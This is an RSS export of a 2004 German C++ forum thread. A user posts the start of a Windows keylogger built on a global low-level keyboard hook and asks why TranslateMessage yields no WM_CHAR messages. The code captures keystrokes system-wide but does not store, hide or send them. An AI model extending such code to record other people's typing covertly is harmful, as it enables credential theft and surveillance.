<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Keylogger Probleme]]></title><description><![CDATA[<p>Ich habe testweise mal ein kleines Keylogger Progrämmchen geschrieben. Es hat keine Stealth Fähigkeiten (d.h. blendet sich nicht aus der Prozess Liste oder so aus). Ich habe aber ein Problem. Ich wollte nicht nur mit den Virtual Key arbeiten, sondern eben Character Nachrichten bearbeiten. Also mache ich einfach ne WM_KEYDOWN Nachricht, wenn die Callback Prozedur aufgerufen wird, gebe die entsprechenden Parameter rein und schicke das zur Nachrichten Queue meines Threads. Die Nachricht kommt auch an, das Problem ist aber, dass TranslateMessage nie WM_CHAR Nachrichten draufhin erzeugt und einfügt. Der Rückgabewert von Translate Message (bei mir zum Debuggen in bResult) ist immer FALSE, was besagt, dass keine Umsetzung stattgefunden hat.</p>
<p>Weiss jemand, warum das nicht funktioniert?</p>
<p>Danke schonmal...</p>
<pre><code>#define _WIN32_WINNT 0x0400

#include &lt;windows.h&gt;
#include &quot;resource.h&quot;

HINSTANCE hInstance;
HHOOK hHook;

__declspec(dllexport) LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrevInstance,
                    LPSTR szCmdLine, int iCmdShow)
{
	MSG message;
	hInstance = hInst;
	BOOL bResult;

	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

    while (GetMessage(&amp;message,NULL,0,0)) {
		bResult = FALSE;
        bResult = TranslateMessage( &amp;message );
		if(message.message == WM_CHAR){
			bResult = TRUE;
		}
    }

	UnhookWindowsHookEx(hHook);

	return 0;
}

__declspec(dllexport) LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	DWORD dwFlags;
	PKBDLLHOOKSTRUCT pkbdllhookstruct = (PKBDLLHOOKSTRUCT)lParam ;

	if((nCode == HC_ACTION) &amp;&amp; (wParam == WM_KEYDOWN) )
	{
		dwFlags = 0;
		dwFlags |= pkbdllhookstruct-&gt;scanCode &lt;&lt; 16;
		dwFlags |= pkbdllhookstruct-&gt;flags &lt;&lt; 24;
		PostThreadMessage(GetCurrentThreadId(), WM_KEYDOWN, pkbdllhookstruct-&gt;vkCode, dwFlags);
	}

	return CallNextHookEx(hHook, nCode, wParam, lParam);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/80371/keylogger-probleme</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 04:46:26 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/80371.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 20 Jul 2004 14:53:20 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Keylogger Probleme on Tue, 20 Jul 2004 14:53:20 GMT]]></title><description><![CDATA[<p>Ich habe testweise mal ein kleines Keylogger Progrämmchen geschrieben. Es hat keine Stealth Fähigkeiten (d.h. blendet sich nicht aus der Prozess Liste oder so aus). Ich habe aber ein Problem. Ich wollte nicht nur mit den Virtual Key arbeiten, sondern eben Character Nachrichten bearbeiten. Also mache ich einfach ne WM_KEYDOWN Nachricht, wenn die Callback Prozedur aufgerufen wird, gebe die entsprechenden Parameter rein und schicke das zur Nachrichten Queue meines Threads. Die Nachricht kommt auch an, das Problem ist aber, dass TranslateMessage nie WM_CHAR Nachrichten draufhin erzeugt und einfügt. Der Rückgabewert von Translate Message (bei mir zum Debuggen in bResult) ist immer FALSE, was besagt, dass keine Umsetzung stattgefunden hat.</p>
<p>Weiss jemand, warum das nicht funktioniert?</p>
<p>Danke schonmal...</p>
<pre><code>#define _WIN32_WINNT 0x0400

#include &lt;windows.h&gt;
#include &quot;resource.h&quot;

HINSTANCE hInstance;
HHOOK hHook;

__declspec(dllexport) LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrevInstance,
                    LPSTR szCmdLine, int iCmdShow)
{
	MSG message;
	hInstance = hInst;
	BOOL bResult;

	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

    while (GetMessage(&amp;message,NULL,0,0)) {
		bResult = FALSE;
        bResult = TranslateMessage( &amp;message );
		if(message.message == WM_CHAR){
			bResult = TRUE;
		}
    }

	UnhookWindowsHookEx(hHook);

	return 0;
}

__declspec(dllexport) LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	DWORD dwFlags;
	PKBDLLHOOKSTRUCT pkbdllhookstruct = (PKBDLLHOOKSTRUCT)lParam ;

	if((nCode == HC_ACTION) &amp;&amp; (wParam == WM_KEYDOWN) )
	{
		dwFlags = 0;
		dwFlags |= pkbdllhookstruct-&gt;scanCode &lt;&lt; 16;
		dwFlags |= pkbdllhookstruct-&gt;flags &lt;&lt; 24;
		PostThreadMessage(GetCurrentThreadId(), WM_KEYDOWN, pkbdllhookstruct-&gt;vkCode, dwFlags);
	}

	return CallNextHookEx(hHook, nCode, wParam, lParam);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/564548</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/564548</guid><dc:creator><![CDATA[SebastianEwert]]></dc:creator><pubDate>Tue, 20 Jul 2004 14:53:20 GMT</pubDate></item></channel></rss>